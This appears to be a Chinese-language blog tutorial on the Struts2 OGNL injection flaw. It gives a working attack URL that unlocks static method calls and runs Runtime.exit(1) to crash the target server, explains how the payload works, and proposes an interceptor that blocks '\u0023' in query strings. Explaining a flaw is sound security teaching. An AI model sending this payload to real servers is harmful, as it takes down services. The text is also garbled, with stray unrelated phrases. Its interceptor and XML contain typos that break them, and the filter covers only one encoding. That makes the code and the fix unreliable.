http://www.xxxx.com/xxx.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1?
輸入以后,服務器端就會崩潰。http://www.xxxx.com/xxx.action這個就不說是什么了,你這都不知道就不要看了。try{newStack.setValue(name,value);
}
? ? 利用stack.setValue(“name”,”aaa”);就把name屬性的值改為aaa字符串。 在上述的url中,有兩個至關重要的值:酒鬼傳奇版本。_memberAccess是OgnlContext中的一個屬性,這是一個權限類SecurityMemberAccess,該權限類中有一個方法allowStaticMethodAccess:是否允許訪問靜態方法。通過上面的url,把該屬性的值設置為了true(默認值為false),
?
java漏洞、context['xwork.MethodAccessor.denyMethodExecution']這個值為false,Ognl才能夠執行自定義的變量,在map棧中的其中一個值,這個是一個boolean值,設置為true,ognl表達式就能夠調用靜態的方法
(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1則是一個shellcoade,ognl表達式執行靜態方法,這樣就調用java中的命令了。當執行(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1這個代碼的時候相當于java.lang.Runtime.getRuntime().exit(1);,執行完畢后,使得我們的整個程序停掉了。
struts2、? ?3.為什么會產生這樣的漏洞呢?
? ? ? struts2提供了存儲數據valueStack
? ? ? struts2提供了訪問數據的ognl表達式
? ? ?ognl表達式不但可以訪問到valueStack中的值,而且還可以改變valueStack中的值調用valueStack.setValue
? ? ? ognl表達式還能執行靜態方法,并且嵌入一些shellcoade代碼。
?4.如果我們去做,怎么去解決?
? ? 做一個自定義的攔截器,用攔截器過濾url,含有\u0023這個字符串,就不讓它執行以后的相應的操作。自定義的攔截器一定要在ParameterInterceptor執行之前執行就哦了。
? ??
@Override
public String intercept(ActionInvocation invocation) throws Exception(){String s = ServletActionContext.getRequest().getQueryString();if(s.contains("\\u0023")){return "error";}else{return invocation.invole();}
}
在struts的配置文件下配置一下就OK了,像這樣就行: ?
?
<interceptors><interceptor name="definitionInterceptor" calss=".....definitionInterceptor"></interceptor><intercpeotr-stack name="myStack"><interceptor-ref name="definitionInterceptor"></interceptor-ref><interceptor-ref name="defaultStackr"></interceptor-ref></interceptor-stack>
</interceptors>
<default-interceptor-ref name="myStack"></default-interceptor-ref>
有不懂的地方,可以給我留言。